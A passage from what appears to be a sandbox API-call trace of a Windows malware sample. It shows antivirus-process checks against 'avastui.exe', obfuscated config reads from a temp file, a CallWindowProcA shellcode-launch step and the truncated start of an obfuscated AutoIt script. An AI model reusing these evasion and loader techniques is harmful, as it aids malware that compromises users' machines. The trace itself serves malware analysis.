szExeFile="islamcommands.exe")) returned 1 [0078.062] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="islamcommands.exe", cchCount1=17, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.062] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scoring.exe")) returned 1 [0078.063] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="scoring.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.063] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="recruitmentcap.exe")) returned 1 [0078.064] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="recruitmentcap.exe", cchCount1=18, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.064] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businessesarchitecture.exe")) returned 1 [0078.064] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="businessesarchitecture.exe", cchCount1=26, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.065] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="targets despite.exe")) returned 1 [0078.065] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="targets despite.exe", cchCount1=19, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.065] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="vectorfollowsvalves.exe")) returned 1 [0078.067] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vectorfollowsvalves.exe", cchCount1=23, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.067] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="domain.exe")) returned 1 [0078.068] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="domain.exe", cchCount1=10, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.068] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="finished pizza superb.exe")) returned 1 [0078.069] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="finished pizza superb.exe", cchCount1=25, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.069] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fdshoes.exe")) returned 1 [0078.070] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fdshoes.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.070] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tracysearching.exe")) returned 1 [0078.071] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tracysearching.exe", cchCount1=18, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.071] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linkformationentrepreneur.exe")) returned 1 [0078.072] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="linkformationentrepreneur.exe", cchCount1=29, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.072] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="rice.exe")) returned 1 [0078.073] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rice.exe", cchCount1=8, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.073] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="dominant out.exe")) returned 1 [0078.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dominant out.exe", cchCount1=16, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.074] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nor.exe")) returned 1 [0078.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nor.exe", cchCount1=7, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.075] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="willing_morocco.exe")) returned 1 [0078.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="willing_morocco.exe", cchCount1=19, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.076] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="regards dx specializing.exe")) returned 1 [0078.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="regards dx specializing.exe", cchCount1=27, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.076] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0078.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WINWORD.EXE", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.077] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.078] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.078] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0078.079] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OSPPSVC.EXE", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.079] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.080] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="svchost.exe", cchCount1=11, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.080] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xba4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fsk.exe")) returned 1 [0078.081] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fsk.exe", cchCount1=7, lpString2="avastui.exe", cchCount2=11) returned 3 [0078.081] Process32NextW (in: hSnapshot=0x10c, lppe=0x78f038 | out: lppe=0x78f038*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xba4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fsk.exe")) returned 0 [0078.082] CloseHandle (hObject=0x10c) returned 1 [0078.082] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.082] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.082] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.083] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat", nBufferLength=0x7fff, lpBuffer=0x77f544, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat", lpFilePart=0x0) returned 0x35 [0078.083] GetPrivateProfileStringW (in: lpAppName="S3tting", lpKeyName="Dir3ctory", lpDefault="", lpReturnedString=0x876120, nSize=0xffff, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat" | out: lpReturnedString="62890218") returned 0x8 [0078.092] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.093] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat", nBufferLength=0x7fff, lpBuffer=0x77f544, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat", lpFilePart=0x0) returned 0x35 [0078.093] GetPrivateProfileStringW (in: lpAppName="S3tting", lpKeyName="sK", lpDefault="", lpReturnedString=0x876120, nSize=0xffff, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat" | out: lpReturnedString="746") returned 0x3 [0078.099] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.100] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat", nBufferLength=0x7fff, lpBuffer=0x77f544, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat", lpFilePart=0x0) returned 0x35 [0078.100] GetPrivateProfileStringW (in: lpAppName="S3tting", lpKeyName="sN", lpDefault="", lpReturnedString=0x876120, nSize=0xffff, lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat" | out: lpReturnedString="mdn.ndp") returned 0x7 [0078.105] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.105] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="746", cchCount1=3, lpString2="", cchCount2=0) returned 3 [0078.106] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mdn.ndp", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0078.106] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.106] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\tqx.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\tqx.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0078.107] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.107] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f4c4 | out: lpNewFilePointer=0x0) returned 1 [0078.107] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f4d4 | out: lpNewFilePointer=0x0) returned 1 [0078.107] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f4fc, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f4fc*=0x10000, lpOverlapped=0x0) returned 1 [0078.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f4f8 | out: lpNewFilePointer=0x0) returned 1 [0078.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f4f8 | out: lpNewFilePointer=0x0) returned 1 [0078.108] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x78f4dc | out: lpNewFilePointer=0x0) returned 1 [0078.108] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.109] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.110] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.112] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.114] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.115] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.125] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.126] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0x10000, lpOverlapped=0x0) returned 1 [0078.129] ReadFile (in: hFile=0x10c, lpBuffer=0x876120, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x78f504, lpOverlapped=0x0 | out: lpBuffer=0x876120*, lpNumberOfBytesRead=0x78f504*=0xa5a9, lpOverlapped=0x0) returned 1 [0078.158] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.158] CharUpperBuffW (in: lpsz="_BD57ZSFSDEEEQ", cchLength=0xe | out: lpsz="_BD57ZSFSDEEEQ") returned 0xe [0078.158] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.159] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.159] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.159] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.160] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.161] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\[sData\\]", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0078.161] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.161] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\[esData\\]", cchCount1=10, lpString2="", cchCount2=0) returned 3 [0078.161] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.174] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.175] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.175] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.175] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.175] CharUpperBuffW (in: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72", cchLength=0x24 | out: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72") returned 0x24 [0078.175] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.175] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.175] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x78eeb4 | out: lpSystemTimeAsFileTime=0x78eeb4*(dwLowDateTime=0xc98f6140, dwHighDateTime=0x1d4c1ea)) [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.176] PeekMessageW (in: lpMsg=0x78f2e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f2e4) returned 0 [0078.177] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.177] CharUpperBuffW (in: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE", cchLength=0x24 | out: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE") returned 0x24 [0078.177] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.177] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.177] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.177] CharLowerBuffW (in: lpsz="byte[265]", cchLength=0x9 | out: lpsz="byte[265]") returned 0x9 [0078.178] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.178] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.180] CharLowerBuffW (in: lpsz="byte[89123]", cchLength=0xb | out: lpsz="byte[89123]") returned 0xb [0078.180] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.183] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.185] CharLowerBuffW (in: lpsz="none", cchLength=0x4 | out: lpsz="none") returned 0x4 [0078.186] LoadLibraryW (lpLibFileName="user32.dll") returned 0x76380000 [0078.186] CallWindowProcA (lpPrevWndFunc=0x817708, hWnd=0x876120, Msg=0x15c23, wParam=0x924268, lParam=0x0) returned 0x28 [0078.188] FreeLibrary (hLibModule=0x76380000) returned 1 [0078.189] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.190] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.190] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.190] PeekMessageW (in: lpMsg=0x78f1b4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f1b4) returned 0 [0078.192] PeekMessageW (in: lpMsg=0x78f82c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x78f82c) returned 0 [0078.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="#NoTrayIcon\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 